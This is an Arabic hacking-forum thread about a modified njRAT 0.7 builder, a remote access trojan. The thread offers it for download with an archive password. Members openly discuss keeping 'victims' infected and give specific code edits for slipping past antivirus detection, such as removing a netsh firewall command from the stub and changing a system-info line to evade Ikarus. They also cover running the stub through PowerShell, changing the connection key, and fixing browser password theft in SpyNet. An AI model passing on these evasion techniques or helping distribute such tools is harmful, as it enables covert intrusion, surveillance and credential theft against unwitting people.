[S3E] Builder njRAT 0.7 MultiHost

[SAMPOP]

السلام عليكم و رحمة الله تعالي و بركاته
اليوم معنا Builder njRAT 0.7 MultiHost و هو اجتهاد فردي مني لتطوير انجرات
بعد الان لن يجد احد منكم مشكلة مع فقدان الضحايا مع هدا Builder و كذلك ان تم التشفير
سيتجاوز الدفاع الاستباقي بكل سهولة و قد تم تجريبه علي هوست داخلي فقط لاني لا اخترق و لا املك
هوست خارجي لذلك ارجو منكم تجريبه علي هوست خارجي للتاكد من التبليغ الخارجي
البرنامج و الستب غير محمي لمن يريد استخراج السورس
رابط التحميل [S3E] Builder njRAT 0.7 MultiHost | تحميل
كلمة السر 123
و قد تم ارفاق معه مجموعة من الستب متنوعة net framework خاصة به
دمتم في رعاية الله و حفظه

 

[iiYoyo]

ماشاء الله مبدع دائما
شاكر جدا لجهودك
واصل يا وحش

 

[NYAN CAT]

برافو مشروع بطل

ممكن توضح التعديلات التي جعلت الستب يتخطى الدفاعات الاستباقية؟

تستطيع الاستغناء عن stub net framework عن طريق تحويل الستب الى il assembler بواسطة أداة ildasm.
في شروحات كثيرة في النت وكنت استخدمها في LimeRAT قبل أن أتعلم على Codedom وأنصحك بتعلمها. شاهد مشروع Revenge-RAT v0.3 LimeBuilder لتفاصيل أخرى.

أيضاً هنالك مشكلة في النجرات 7 وهي عدم القدرة على تشغلية بواسطه الباورشل مع نقطة الادخال
وحلها شرحتها في بالفيديو هـــنا
المشكلة هنا public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location); لأن Assembly تستخدم في ملفات الدوت نت. فبتالي ترجعلك بـ nullref
ببساطه قم بإستبدالها بـ public static FileInfo CurrentAssemblyFileInfo = new FileInfo(Application.ExecutablePath); لتحل المشكلة.

أتمنى لك التوفيق

 

[SAMPOP]

ماشاء الله مبدع دائما
شاكر جدا لجهودك
واصل يا وحش

شكرا لك اخي لمرورك و تشجيعك الدائم
اتمني لك كل التوفيق في حياتك

 

[SAMPOP]

برافو مشروع بطل

ممكن توضح التعديلات التي جعلت الستب يتخطى الدفاعات الاستباقية؟

تستطيع الاستغناء عن stub net framework عن طريق تحويل الستب الى il assembler بواسطة أداة ildasm.
في شروحات كثيرة في النت وكنت استخدمها في LimeRAT قبل أن أتعلم على Codedom وأنصحك بتعلمها. شاهد مشروع Revenge-RAT v0.3 LimeBuilder لتفاصيل أخرى.

أيضاً هنالك مشكلة في النجرات 7 وهي عدم القدرة على تشغلية بواسطه الباورشل مع نقطة الادخال
وحلها شرحتها في بالفيديو هـــنا
المشكلة هنا public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location); لأن Assembly تستخدم في ملفات الدوت نت. فبتالي ترجعلك بـ nullref
ببساطه قم بإستبدالها بـ public static FileInfo CurrentAssemblyFileInfo = new FileInfo(Application.ExecutablePath); لتحل المشكلة.

أتمنى لك التوفيق

سلام اخي
1- مند اعوام و انجرات يعاني مع الدفاع الاستباقي بسبب netsh firewall فاصبح مهما شفرت السيرفر كلين لا يتخطي
IL_014a: ldstr "netsh firewall add allowedprogram \"" الموجود في الستب
2- لم احول الستب الي il assembler حتي يسهل لي التجريب و حتي يسهل للمستخذم التعامل مع الستب ان اراد التعديل عليه
و ماذا اتعلم فانا لست مبرمج و لا افقه في البرمجة شئ هههه و كذلك عامل الوقت و مشاغل الحياة لم تتركنا نتعلم اي شئ
3- لقد استبدلت هذا السطر Public Shared LO As FileInfo = New FileInfo(Assembly.GetEntryAssembly.Location)
بهذا السطر Public Shared LO As FileInfo = New FileInfo(Application.StartupPath)
قبل طرحه هنا لكن للاسف اصبح السيرفر الناتج لا يشتغل و لضيق الوقت لم اتتبع المشكلة فارجعته كما كان
4- تنويه فقط ربما يساعد في التخلص من حماية Ikarus و المتمثل في هذا السطر و الموجود في الستب و الموجود في
Public Shared Function inf() As String
و المتمثل في هذا السطر
str2 = (str2 & OK.F.InfSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win"))
و عند استبداله و حذف .Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win")
ليصبح هكذا
str2 = (str2 & OK.F.InfSFullName)

سوف تتخلص من هته الحماية دون تشفير و لم اريد حدفها حتي لا انقص خاصية من خواصه او اثر عليه لاني كما قلت لك اني لا افقه في البرمجة شئ

و في الختام اسعدني مرورك و ملاحظاتك الهامة و اتمني لك التوفيق في مشوارك

 

[NYAN CAT]

سلام اخي
1- مند اعوام و انجرات يعاني مع الدفاع الاستباقي بسبب netsh firewall فاصبح مهما شفرت السيرفر كلين لا يتخطي
IL_014a: ldstr "netsh firewall add allowedprogram \"" الموجود في الستب
2- لم احول الستب الي il assembler حتي يسهل لي التجريب و حتي يسهل للمستخذم التعامل مع الستب ان اراد التعديل عليه
و ماذا اتعلم فانا لست مبرمج و لا افقه في البرمجة شئ هههه و كذلك عامل الوقت و مشاغل الحياة لم تتركنا نتعلم اي شئ
3- لقد استبدلت هذا السطر Public Shared LO As FileInfo = New FileInfo(Assembly.GetEntryAssembly.Location)
بهذا السطر Public Shared LO As FileInfo = New FileInfo(Application.StartupPath)
قبل طرحه هنا لكن للاسف اصبح السيرفر الناتج لا يشتغل و لضيق الوقت لم اتتبع المشكلة فارجعته كما كان
4- تنويه فقط ربما يساعد في التخلص من حماية Ikarus و المتمثل في هذا السطر و الموجود في الستب و الموجود في
Public Shared Function inf() As String
و المتمثل في هذا السطر
str2 = (str2 & OK.F.InfSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win"))
و عند استبداله و حذف .Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win")
ليصبح هكذا
str2 = (str2 & OK.F.InfSFullName)

سوف تتخلص من هته الحماية دون تشفير و لم اريد حدفها حتي لا انقص خاصية من خواصه او اثر عليه لاني كما قلت لك اني لا افقه في البرمجة شئ

و في الختام اسعدني مرورك و ملاحظاتك الهامة و اتمني لك التوفيق في مشوارك

وعليكم السلام

1- مند اعوام و انجرات يعاني مع الدفاع الاستباقي بسبب netsh firewall فاصبح مهما شفرت السيرفر كلين لا يتخطي
IL_014a: ldstr "netsh firewall add allowedprogram \"" الموجود في الستب

المشكلة تكمن في السلوك وليس التخطي. ولكن صحيح الأفضل إزالة هذا السطر.

2- لم احول الستب الي il assembler حتي يسهل لي التجريب و حتي يسهل للمستخذم التعامل مع الستب ان اراد التعديل عليه
و ماذا اتعلم فانا لست مبرمج و لا افقه في البرمجة شئ هههه و كذلك عامل الوقت و مشاغل الحياة لم تتركنا نتعلم اي شئ

كل ماعليك هو التجريب إلى أن تصل إلى نسختك النهايئة ، وبعدها تحول الملف. بما أنك صاحب هذا المشروع فأنت مبرمج حقاً.

3- لقد استبدلت هذا السطر Public Shared LO As FileInfo = New FileInfo(Assembly.GetEntryAssembly.Location)
بهذا السطر Public Shared LO As FileInfo = New FileInfo(Application.StartupPath)
قبل طرحه هنا لكن للاسف اصبح السيرفر الناتج لا يشتغل و لضيق الوقت لم اتتبع المشكلة فارجعته كما كان

السطر الذي أدخلته أنت مغاير عن سطري.
Public Shared LO As FileInfo = New FileInfo(Application.ExecutablePath

4- تنويه فقط ربما يساعد في التخلص من حماية Ikarus و المتمثل في هذا السطر و الموجود في الستب و الموجود في

هنا يأكد كلامي في النقطة رقم 1 ... لايوجد مشكلة في الكود نفسه ولكن المشكلة فقط أن السلوك سلوك نجرات. أيضاً ممتاز أنك عدلت عليه برافو.

شكراً على ردك الوافي

 

[SAMPOP]

وعليكم السلام

المشكلة تكمن في السلوك وليس التخطي. ولكن صحيح الأفضل إزالة هذا السطر.


كل ماعليك هو التجريب إلى أن تصل إلى نسختك النهايئة ، وبعدها تحول الملف. بما أنك صاحب هذا المشروع فأنت مبرمج حقاً.


السطر الذي أدخلته أنت مغاير عن سطري.
Public Shared LO As FileInfo = New FileInfo(Application.ExecutablePath


هنا يأكد كلامي في النقطة رقم 1 ... لايوجد مشكلة في الكود نفسه ولكن المشكلة فقط أن السلوك سلوك نجرات. أيضاً ممتاز أنك عدلت عليه برافو.

شكراً على ردك الوافي

شكرا لك اخي لمحاولة رفع المعنويات لكن انا لست مبرمج و هدا المشروع مجرد تعديل بسيط علي برنامج المبرمج الحقيقي الاخ ناصر
عندما اجد الوقت ساجر السطر الذي انت وضعته لي رغم اني لست مهتم كثيرا بالتعديل و قد و عدت الاعضاء و الزوار ان اقوم بوضعه هنا
و لقد جلست معه مايقارب نصف نهار و انا اجرب و الاكواد ليست من اختراعي لكن الوعد يبقي وعد
هناك شئ غريب في هذا Builder المطروح في هذا الموضوع او مجرد صدفة حدثت معي و هي عند انشاء الهوست و لا يتم الضغط
علي add لاضافة الهوست فان السيرفر الناتج يعمل عادي و ما ادهشني انه لا يظهر في المنقح عكس ان تم الضغط علي زر الخاص باضافة الهوست add
فسوف يظهر الهوست في المنقح ان كان باستطاعتك التجريب حتي اتاكد انه فعلا يحدث و ليس خلل من عندي
نرجع الي التشفير و تجاوز الدفاع الاستباقي انا لا يوجد عندي مشكلة في تجاوز الذفاع الاستباقي لجميع الحمايات سواء للدوت نت او الناتيف
وحتي تجاوز اشرس الحمايات لم يعد عندي مشكلة معه
اما فيما يخص Public Shared LO As FileInfo = New FileInfo(Application.ExecutablePath
انا لم اعدل عليه و تركت الامر للمستخدم هو من يقرر حدفه او تركه و قد اعطيتهم تنويه فقط
و في الختام بلغ سلامي للاخ بشار
دمت بخير و صحة و عافية

 

[blackbox]

سلام اخي
1- مند اعوام و انجرات يعاني مع الدفاع الاستباقي بسبب netsh firewall فاصبح مهما شفرت السيرفر كلين لا يتخطي
IL_014a: ldstr "netsh firewall add allowedprogram \"" الموجود في الستب
2- لم احول الستب الي il assembler حتي يسهل لي التجريب و حتي يسهل للمستخذم التعامل مع الستب ان اراد التعديل عليه
و ماذا اتعلم فانا لست مبرمج و لا افقه في البرمجة شئ هههه و كذلك عامل الوقت و مشاغل الحياة لم تتركنا نتعلم اي شئ
3- لقد استبدلت هذا السطر Public Shared LO As FileInfo = New FileInfo(Assembly.GetEntryAssembly.Location)
بهذا السطر Public Shared LO As FileInfo = New FileInfo(Application.StartupPath)
قبل طرحه هنا لكن للاسف اصبح السيرفر الناتج لا يشتغل و لضيق الوقت لم اتتبع المشكلة فارجعته كما كان
4- تنويه فقط ربما يساعد في التخلص من حماية Ikarus و المتمثل في هذا السطر و الموجود في الستب و الموجود في
Public Shared Function inf() As String
و المتمثل في هذا السطر
str2 = (str2 & OK.F.InfSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win"))
و عند استبداله و حذف .Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win")
ليصبح هكذا
str2 = (str2 & OK.F.InfSFullName)

سوف تتخلص من هته الحماية دون تشفير و لم اريد حدفها حتي لا انقص خاصية من خواصه او اثر عليه لاني كما قلت لك اني لا افقه في البرمجة شئ

و في الختام اسعدني مرورك و ملاحظاتك الهامة و اتمني لك التوفيق في مشوارك

هذا افضل برنامج رات ع مر جميع برامج من حيث الثبات والانتشار والتحكم لا راح يجي مثل هذا البرنامج نهائيا وخالي من جميع العيوب والمشاكل بس مشكلتوا دلفي وراح الدعم عنوا

 

[P 0 I S 0 N]

هذا افضل برنامج رات ع مر جميع برامج من حيث الثبات والانتشار والتحكم لا راح يجي مثل هذا البرنامج نهائيا وخالي من جميع العيوب والمشاكل بس مشكلتوا دلفي وراح الدعم عنوا

رجعتني اكثر من 5 سنين سباي نت كان مدخلي الرئيسي للمجال

 

[SAMPOP]

هذا افضل برنامج رات ع مر جميع برامج من حيث الثبات والانتشار والتحكم لا راح يجي مثل هذا البرنامج نهائيا وخالي من جميع العيوب والمشاكل بس مشكلتوا دلفي وراح الدعم عنوا

صدقت اخي لكن عيبه الوحيد انه لا يدعم اللغة العربية هههههه و عند تعاملي مع السورس الخاص به و جدته يشبه الاكسترم رات
فان انت تريد سارفع لك السورس الخاص ب سباي نت جاهز و كدلك Indy الخاص به ربما تستطيع تطويره اكثر و جعله يدعم العربية و تصلح سحب كلمات المرور
من المتصفحات الحديثة
بالتوفيق

 

[blackbox]

صدقت اخي لكن عيبه الوحيد انه لا يدعم اللغة العربية هههههه و عند تعاملي مع السورس الخاص به و جدته يشبه الاكسترم رات
فان انت تريد سارفع لك السورس الخاص ب سباي نت جاهز و كدلك Indy الخاص به ربما تستطيع تطويره اكثر و جعله يدعم العربية و تصلح سحب كلمات المرور
من المتصفحات الحديثة
بالتوفيق

تعرب النسخة 2.6 خالصة ولو حتى مابدعم العربية لكن من اقوة السورسات تعرف شو الفرق بين المبرمج العربي والاجنبي , العربي بنزل v10,0 كلها مشاكل وعيوب وفقدان للضحاية والى اخره ام الجنبي بنزل v1,0 ;كاملة ثبات خالية من المشاكل والعيوب ولا تقدر اتحصل خطا واحد قارن نجرات والدارك كومت النجرات يمكن 10 اشتركوا فيه ومع مساعدة الاصدقاء وللان بصلحوا الاخطا الي فيه وبعدلوا عليه اما الدارك كومت كان بمثابة مشروع تخرج للمبرمج من الجامعة بس شوف كيف الثيم فيه والابشن والسورس ماطلع برنامج مثلو وهو من 7 اسنيين

 

[blackbox]

صدقت اخي لكن عيبه الوحيد انه لا يدعم اللغة العربية هههههه و عند تعاملي مع السورس الخاص به و جدته يشبه الاكسترم رات
فان انت تريد سارفع لك السورس الخاص ب سباي نت جاهز و كدلك Indy الخاص به ربما تستطيع تطويره اكثر و جعله يدعم العربية و تصلح سحب كلمات المرور
من المتصفحات الحديثة
بالتوفيق

نفس مبرمج اسباي نوت مبرمج اكستريم رات

 

[SAMPOP]

تعرب النسخة 2.6 خالصة ولو حتى مابدعم العربية لكن من اقوة السورسات تعرف شو الفرق بين المبرمج العربي والاجنبي , العربي بنزل v10,0 كلها مشاكل وعيوب وفقدان للضحاية والى اخره ام الجنبي بنزل v1,0 ;كاملة ثبات خالية من المشاكل والعيوب ولا تقدر اتحصل خطا واحد قارن نجرات والدارك كومت النجرات يمكن 10 اشتركوا فيه ومع مساعدة الاصدقاء وللان بصلحوا الاخطا الي فيه وبعدلوا عليه اما الدارك كومت كان بمثابة مشروع تخرج للمبرمج من الجامعة بس شوف كيف الثيم فيه والابشن والسورس ماطلع برنامج مثلو وهو من 7 اسنيين

هل تعلم ان الرات الدي لا يدعم اللغة العربية و انا اقصد الكيلوجر و file manager هو رات عقيم
نرجع الي الدارك كومنت هو من افشل الرات من حيث تثبيت الضحايا و لقد حطم الرقم القياسي من حيث فقدان الضحايا
و لا تقارن المبرمجين العرب بالغربيين فكما تعلم ان المبرمج العربي قبل تعلم البرمجة فهو يتعلم قبلها اللغة الاجنبية
اي انه يبدل ضعف المجهود الدي يبدله الاجنبي زد علي دلك عدم توفر الوسائل و التحفيزات و كذلك تدخل الوازع الديني يلعب دور
كبير في مجال الاختراق و التعديل علي اي رات اصعب من صنع رات في حد داته لانك تتعامل مع برنامج ليس من صنعك
ساضرب لك مثال علي انجرات و لماذا اصبح مكشوف من الحمايات و لا يتجاوز الدفاع الاستباقي بكل بساطة لان مفتاح الاتصال مكشوف
و كدلك الكيلوجر و لو درست الستب الخاص به لوجدته من اقوي برامج الاختراق لماذا لان الحمايات قامت بمحاربته و اصبحت لكل حماية
جزء من اكواده مكشوفة عندها اي بمعني انك مهما شفرته فلن يتخطي الدفاع الاستباقي و ربما في المستقبل ان شاء الله ساتطرق الي
كيفية تخطي اقوي الحمايات و خاصة النود و ما هي الاكواد التي تتحسس منها الحمايات و كذلك ماهي الخصائص المكشوفة من الحمايات
و في الختام تقبل الله صيامكم و صيامنا
دمت في رعاية الله و حفظه

 

[SAMPOP]

ملاحظه هامة
من المستحسن تغيير مفتاح الاتصال لانجرات من المتحكم و الستب و Plugin
في امان الله

 

[3losh-rat]

برافو مشروع بطل

ممكن توضح التعديلات التي جعلت الستب يتخطى الدفاعات الاستباقية؟

تستطيع الاستغناء عن stub net framework عن طريق تحويل الستب الى il assembler بواسطة أداة ildasm.
في شروحات كثيرة في النت وكنت استخدمها في LimeRAT قبل أن أتعلم على Codedom وأنصحك بتعلمها. شاهد مشروع Revenge-RAT v0.3 LimeBuilder لتفاصيل أخرى.

أيضاً هنالك مشكلة في النجرات 7 وهي عدم القدرة على تشغلية بواسطه الباورشل مع نقطة الادخال
وحلها شرحتها في بالفيديو هـــنا
المشكلة هنا public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location); لأن Assembly تستخدم في ملفات الدوت نت. فبتالي ترجعلك بـ nullref
ببساطه قم بإستبدالها بـ public static FileInfo CurrentAssemblyFileInfo = new FileInfo(Application.ExecutablePath); لتحل المشكلة.

أتمنى لك التوفيق

صحيح ردي متأخر اخي بس انا قدرت اشغل السيرفر نجرات في الpowershell

 

[da tornado]

تعرب النسخة 2.6 خالصة ولو حتى مابدعم العربية لكن من اقوة السورسات تعرف شو الفرق بين المبرمج العربي والاجنبي , العربي بنزل v10,0 كلها مشاكل وعيوب وفقدان للضحاية والى اخره ام الجنبي بنزل v1,0 ;كاملة ثبات خالية من المشاكل والعيوب ولا تقدر اتحصل خطا واحد قارن نجرات والدارك كومت النجرات يمكن 10 اشتركوا فيه ومع مساعدة الاصدقاء وللان بصلحوا الاخطا الي فيه وبعدلوا عليه اما الدارك كومت كان بمثابة مشروع تخرج للمبرمج من الجامعة بس شوف كيف الثيم فيه والابشن والسورس ماطلع برنامج مثلو وهو من 7 اسنيين

مبرمج DARK COMET RAT هو عربي تونسي
انا اشتركت معه في تعريب البرنامج وايقونة التبليغ واسمه OUSSAMIO وكان عندي في الفيسبوك قبل ان يقوم بتوقيف المشروع.

 

[da tornado]

الاخ ناصر تفوق على الجميع ب Njrat
نقطة

 

[NewHacker]

تم حذف الملف

 

[ⲦⲎⲈ ⲎⲀⲤⲔ ⲒⲚⲦ]

جزاك الله خيرا

​